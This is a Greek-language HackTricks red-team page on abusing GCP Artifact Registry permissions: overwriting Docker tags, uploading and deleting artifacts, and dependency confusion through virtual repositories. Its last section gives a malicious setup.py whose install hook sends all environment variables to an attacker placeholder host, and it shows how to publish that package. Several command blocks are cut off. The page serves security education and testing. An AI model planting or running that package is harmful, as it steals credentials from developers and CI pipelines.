GCP - Artifact Registry Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Artifact Registry
Για περισσότερες πληροφορίες σχετικά με το Artifact Registry δείτε:
artifactregistry.repositories.uploadArtifacts
Με αυτή την άδεια, ένας επιτιθέμενος θα μπορούσε να ανεβάσει νέες εκδόσεις των artifacts με κακόβουλο κώδικα, όπως Docker images:
Ανέβασμα Docker image στο Artifact Registry
```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockertag the image to upload it
docker tag
Upload it
docker push
</details>
> [!CAUTION]
> Ελέγχθηκε ότι είναι **δυνατό να ανεβάσετε μια νέα κακόβουλη docker** image με το ίδιο όνομα και tag με αυτή που ήδη υπάρχει, οπότε η **παλιά θα χάσει το tag** και την επόμενη φορά που θα γίνει λήψη αυτής της εικόνας με αυτό το tag θα κατέβει η **κακόβουλη**.
<details>
<summary>Ανέβασμα βιβλιοθήκης Python</summary>
**Ξεκινήστε δημιουργώντας τη βιβλιοθήκη που θα ανεβάσετε** (αν μπορείτε να κατεβάσετε την πιο πρόσφατη έκδοση από το registry μπορείτε να αποφύγετε αυτό το βήμα):
1. **Ρυθμίστε τη δομή του έργου σας**:
- Δημιουργήστε έναν νέο κατάλογο για τη βιβλιοθήκη σας, π.χ., `hello_world_library`.
- Μέσα σε αυτόν τον κατάλογο, δημιουργήστε έναν άλλο κατάλογο με το όνομα του πακέτου σας, π.χ., `hello_world`.
- Μέσα στον κατάλογο του πακέτου σας, δημιουργήστε ένα αρχείο `__init__.py`. Αυτό το αρχείο μπορεί να είναι κενό ή να περιέχει αρχικοποιήσεις για το πακέτο σας.
<details>
<summary>Δημιουργία δομής έργου</summary>
```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
- Γράψτε τον κώδικα της βιβλιοθήκης σας:
- Μέσα στον κατάλογο
hello_world, δημιουργήστε ένα νέο αρχείο Python για το module σας, π.χ.,greet.py. - Γράψτε τη συνάρτηση “Hello, World!”:
Δημιουργία module βιβλιοθήκης
# hello_world/greet.py
def say_hello():
return "Hello, World!"
- Δημιουργήστε ένα αρχείο
setup.py:
- Στη ρίζα του καταλόγου
hello_world_library, δημιουργήστε ένα αρχείοsetup.py. - Αυτό το αρχείο περιέχει metadata για τη βιβλιοθήκη σας και ενημερώνει το Python πώς να το εγκαταστήσει.
Δημιουργία αρχείου setup.py
# setup.py
from setuptools import setup, find_packages
setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)
Τώρα, ας ανεβάσουμε τη βιβλιοθήκη:
- Δημιουργήστε το πακέτο σας:
- Από τη ρίζα του καταλόγου
hello_world_library, εκτελέστε:
Δημιουργία Python πακέτου
python3 setup.py sdist bdist_wheel
- Διαμορφώστε την πιστοποίηση για το twine (χρησιμοποιείται για να ανεβάσετε το πακέτο σας):
- Βεβαιωθείτε ότι έχετε εγκατεστημένο το
twine(pip install twine). - Χρησιμοποιήστε το
gcloudγια να ρυθμίσετε τα διαπιστευτήρια:
Ανέβασμα πακέτου με twine
```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://- Καθαρίστε το build
Καθαρίστε τα artifacts του build
```bash rm -rf dist build hello_world.egg-info ```Caution
Δεν είναι δυνατό να ανεβάσετε μια βιβλιοθήκη python με την ίδια έκδοση που υπάρχει ήδη, αλλά είναι δυνατό να ανεβάσετε μεγαλύτερες εκδόσεις (ή να προσθέσετε ένα επιπλέον
.0στο τέλος της έκδοσης αν αυτό λειτουργεί - όχι όμως σε python), ή να διαγράψετε την τελευταία έκδοση και να ανεβάσετε μια νέα (απαιτείταιartifactregistry.versions.delete):**Διαγραφή έκδοσης artifact
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
artifactregistry.repositories.downloadArtifacts
Με αυτήν την άδεια μπορείτε να κατεβάσετε artifacts και να αναζητήσετε ευαίσθητες πληροφορίες και ευπάθειες.
Κατεβάστε μια Docker εικόνα:
Λήψη εικόνας **Docker** από Artifact Registry
```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockerDowload image
docker pull
</details>
Κατεβάστε μια **python** βιβλιοθήκη:
<details>
<summary>Κατεβάστε Python βιβλιοθήκη από Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
- Τι συμβαίνει αν ένα απομακρυσμένο και ένα τυπικό registry αναμιχθούν σε ένα εικονικό registry και ένα package υπάρχει και στα δύο; Δείτε αυτή τη σελίδα:
GCP - Artifact Registry Persistence
artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)
Διαγραφή artifacts από το registry, όπως docker images:
Διαγραφή εικόνας Docker από Artifact Registry
```bash # Delete a docker image gcloud artifacts docker images deleteartifactregistry.repositories.delete
Διαγράψτε ένα πλήρες repository (ακόμα και αν έχει περιεχόμενο):
Διαγραφή Artifact Registry repository
``` gcloud artifacts repositories deleteartifactregistry.repositories.setIamPolicy
Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να δώσει στον εαυτό του δικαιώματα για να εκτελέσει μερικές από τις προαναφερθείσες επιθέσεις στο repository.
Pivoting σε άλλες υπηρεσίες μέσω Artifact Registry Read & Write
- Cloud Functions
Όταν δημιουργείται ένα Cloud Function, ένα νέο docker image ανεβαίνει στο Artifact Registry του project. Δοκίμασα να αντικαταστήσω την image με μία καινούργια και ακόμη να διαγράψω την τρέχουσα image (και την cache image), αλλά τίποτα δεν άλλαξε — το Cloud Function συνέχισε να λειτουργεί. Επομένως, ίσως είναι δυνατό να καταχραστεί μια Race Condition attack όπως με το bucket για να αλλάξει το docker container που θα τρέξει, αλλά η απλή τροποποίηση της αποθηκευμένης εικόνας δεν αρκεί για να παραβιάσει το Cloud Function.
- App Engine
Αν και το App Engine δημιουργεί docker images στο Artifact Registry, δοκιμάστηκε ότι ακόμα κι αν τροποποιήσεις την image μέσα σε αυτήν την υπηρεσία και αφαιρέσεις την App Engine instance (οπότε αναπτύσσεται μια καινούρια), ο εκτελούμενος κώδικας δεν αλλάζει.
Ενδέχεται ότι εκτελώντας μια Race Condition attack όπως με τα buckets ίσως είναι δυνατό να αντικατασταθεί ο εκτελούμενος κώδικας, αλλά αυτό δεν δοκιμάστηκε.
artifactregistry.repositories.update
Δεν χρειάζονται συγκεκριμένα δικαιώματα Artifact Registry για να εκμεταλλευτεί ένας επιτιθέμενος αυτό το ζήτημα — μόνο μια ευάλωτη διαμόρφωση virtual-repository. Αυτό συμβαίνει όταν ένα virtual repository συνδυάζει ένα απομακρυσμένο public repository (π.χ., PyPI, npm) με ένα internal, και η απομακρυσμένη πηγή έχει ίση ή υψηλότερη προτεραιότητα. Αν και τα δύο περιέχουν ένα package με το ίδιο όνομα, το σύστημα επιλέγει την υψηλότερη έκδοση. Ο επιτιθέμενος χρειάζεται μόνο να γνωρίζει το όνομα του internal package και να μπορεί να δημοσιεύσει packages στο αντίστοιχο public registry.
Με την άδεια artifactregistry.repositories.update, ένας επιτιθέμενος θα μπορούσε να αλλάξει τις upstream ρυθμίσεις ενός virtual repository για να δημιουργήσει σκόπιμα αυτήν την ευάλωτη διαμόρφωση και να χρησιμοποιήσει Dependency Confusion ως μέθοδο persistence εισάγοντας κακόβουλα packages που developers ή συστήματα CI/CD μπορεί να εγκαταστήσουν αυτόματα.
Ο επιτιθέμενος δημιουργεί μια κακόβουλη έκδοση του internal package στο public repository με υψηλότερο version number. Για Python packages, αυτό σημαίνει προετοιμασία μιας package structure που μιμείται την νόμιμη.
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
Στη συνέχεια δημιουργείται ένα αρχείο setup.py που περιέχει κακόβουλο κώδικα ο οποίος θα εκτελεστεί κατά την εγκατάσταση. Αυτό το αρχείο πρέπει να δηλώνει έναν αριθμό έκδοσης μεγαλύτερο από αυτόν που υπάρχει στο ιδιωτικό αποθετήριο.
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
Κατασκευάστε το package και διαγράψτε το wheel για να εξασφαλίσετε ότι ο κώδικας θα εκτελεστεί κατά την εγκατάσταση.
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
Ανεβάστε το κακόβουλο πακέτο στο δημόσιο αποθετήριο (για παράδειγμα, test.pypi.org για Python).
pip install twine
twine upload --repository testpypi dist/*
Όταν ένα σύστημα ή μια υπηρεσία εγκαθιστά το package χρησιμοποιώντας το virtual repository, θα κατεβάσει την κακόβουλη έκδοση από το public repository αντί για την νόμιμη εσωτερική έκδοση, επειδή η κακόβουλη έκδοση είναι υψηλότερη και το remote repository έχει ίση ή υψηλότερη προτεραιότητα.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

